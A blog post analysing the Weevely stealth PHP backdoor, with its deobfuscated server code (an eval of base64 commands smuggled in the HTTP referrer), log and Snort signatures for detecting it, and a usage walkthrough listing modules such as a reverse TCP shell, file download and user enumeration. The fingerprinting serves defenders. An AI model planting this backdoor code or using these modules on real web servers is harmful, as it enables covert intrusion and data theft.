@adulau has sent a tweet about a stealth tiny PHP backdoor named Weevely how is pretending to be unobtrusive and not detectable by NIDS, anti-viruses and log review activity. Weevely simulate a telnet-like session, if you communicate with the backdoor through HTTP, or ssh-like session, if you communicate with the backdoor through HTTPS.

Weevely is a python program how will permit you to generate a “server” PHP code in order to trojanize a Web server and take control of it. After a successful application Web attack exploitation, through for examples, RFI, LFI or MySQL LOAD INFILE, you only need to upload the “server” PHP code on the target, and your local Weevely python script will use the “server” PHP code in order to transmit orders.

All commands are sent through hidden datas in HTTP referrers and these commands are using dynamic probe of system-like functions to bypass PHP security restrictions. Weevely try to bypass PHP configurations that disable sensible functions who execute external programs, enabled with the disable functions option located in php.ini.

Weevely Server Code Analysis & Fingerprinting

The “server” PHP code look like this:

As you see the code is obfuscated in base64 and the result of the deobfuscation is:

ini_set('error_log', '/dev/null');parse_str($_SERVER['HTTP_REFERER'],$a);if(reset($a)=='my' && count($a)==9) {echo '';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '';}

The script is forcing PHP to send the script error to “/dev/null“, parse the HTTP referrer and decode the commands with the provided password.

If you test the “server” code on Virustotal, only 1 on 43 anti-viruses is detecting the code as a malware. But the code obfuscation method is basic and the code is only encoded 1 time. Surely in a near future most of the anti-viruses will detect it.

Actually most of common PHP backdoors, like c99, STUNSHELL, etc., embed the complete malware code and obfuscate the code with basic methods. The HTTP referrer Weevely approach is quiet interesting and new, the code is no more embedded but dynamic.

But some common PHP backdoors are now obfuscated with more complex methods, like “gzinflate(str_rot13(base64_decode(‘malware’)))” and encoded more than 10 times. These codes are only detected by few anti-viruses, like this one on Virustotal.

On the Web server side, when a Weevely command is sent to the “server” PHP code you will see this typical kind of logs in your access.log file.

192.168.178.25 - - [11/Oct/2011:00:44:25 +0200] "GET /mybb/readme.php HTTP/1.0" 200 237 "http://www.google.com/url?sa=my&source=web&ct=7&url=http%3A//blackbox.zataz.loc/mybb/readme.php&rct=j&q=mybb readme&ei=ZWNob&usg=yA1Nz&sig2=ExNjs=" "Python-urllib/1.17, Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"

You can see that the HTTP referrer is google.com and that the command is encoded. If you compare Weevely HTTP referrer to a normal google.com HTTP referrer, here under, you can see that they are really few differences. It is clearly impossible to distinguish a valid HTTP referrer with a forged one.

xxx.xxx.xxx.xxx - - [11/Sep/2011:20:45:52 +0200] "GET /2011/02/06/cve-2010-3867-proftpd-iac-remote-root-exploit/ HTTP/1.1" 200 11751 "http://www.google.com/url?sa=t&source=web&cd=12&ved=0CB8QFjABOAo&url=http%3A%2F%2Feromang.zataz.com%2F2011%2F02%2F06%2Fcve-2010-3867-proftpd-iac-remote-root-exploit%2F&rct=j&q=proftpd%20IAC%20Buffer%20Overflow&ei=2wFtTt6jHMjd4QS8iunYBA&usg=AFQjCNHZ_21-rBnWO0Hu3YgMYub6dE7oqA&sig2=fHqAoyj7khMooGBCTuuqyw" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

Unfortunately for Weevely authors the Python User Agent is recognized by basic NIDS rules like Emerging Threats (SIG 2013031).

Oct 11 22:31:27 fw3 snort[4069]: [1:2013031:1] ET POLICY Python-urllib/ Suspicious User Agent [Classification: Attempted Information Leak] [Priority: 2] {TCP} 192.168.178.25:54037 -> 192.168.178.61:80

Also unfortunately for Weevely authors, if you have PHP safe_mode enabled, you will also have this typical kind of logs in you error.log file. A regular Log review activity will detect this kind of errors.

[Tue Oct 11 00:44:25 2011] [error] [client 192.168.178.25] PHP Warning:  ini_set(): SAFE MODE Restriction in effect.  The script whose uid is 33 is not allowed to access /dev/null owned by uid 0 in /var/www/mybb/readm
e.php(1) : eval()'d code on line 1, referer: http://www.google.com/url?sa=my&source=web&ct=7&url=http%3A//blackbox.zataz.loc/mybb/readme.php&rct=j&q=mybb readme&ei=ZWNob&usg=yA1Nz&sig2=ExNjs=

The actual Weevely version is identifiable by NIDS through the User Agent or by regular Log review activity, but clearly the approach is really interesting and future version

Weevely Usage

  • Invoke Weevely help

To invoke Weevely help you only need to execute the following command :

  • Weevely server code generation

To generate the “server” code you only need to execute the following command, where “mypassword” is you desired password and “readme.php” the backdoor PHP file how need to be uploaded on the target Web server.

  • Start a telnet or ssh like session and exploitation

To start a telnet-like (HTTP) or ssh-like (HTTPS) session you only need to execute the following command :

As you see in the screenshot the interpreter is “shell.sh” how allow you to execute shell commands. The other interpreter is “shell.php” how will allow you to execute PHP commands. You can also invoque the backdoor help with the “:help” command. Here under the list of modules with they’re methods.

[backdoor] [reverse_tcp] Send reverse shell using TCP socket
           :backdoor.reverse_tcp ip port

[/shell]
[sh] Execute system commands
        :shell.sh ""

[/php]
 Execute single PHP commands
        :shell.php ";"

[find] [perms] Find files with write, read, execute permissions
       :find.perms first|all file|dir|all w|r|x|all 

       [webdir] Find writable directory and get corresponding URL
       :find.webdir

       [suidsgid] Find suid, sgid, or every file with superuser flag
       :find.suidsgid suid|sgid|all 

       [binaries] Find executables in common PATH folders
       :find.binaries all | 

       [name] Find files with name that match string
       (e=equal, ei= equal case insensitive , c= contains, ci= contains case insensitive)
       :find.name e|ei|c|ci  

[file] [read] Read file outside web root using different techniques
       :file.read 

       [download] Download remote binary/ascii files
       :file.download  

       [upload] Upload local binary/ascii file using POST method
       :file.upload  

       [check] Check remote files presence, type, md5 and permissions
       :file.check  exists|file|dir|md5|r|w|x

[system] [info] Collect system informations
         :system.info all|whoami|hostname|basedir|document_root

         [users] Enumerate system users using different techniques
         :system.users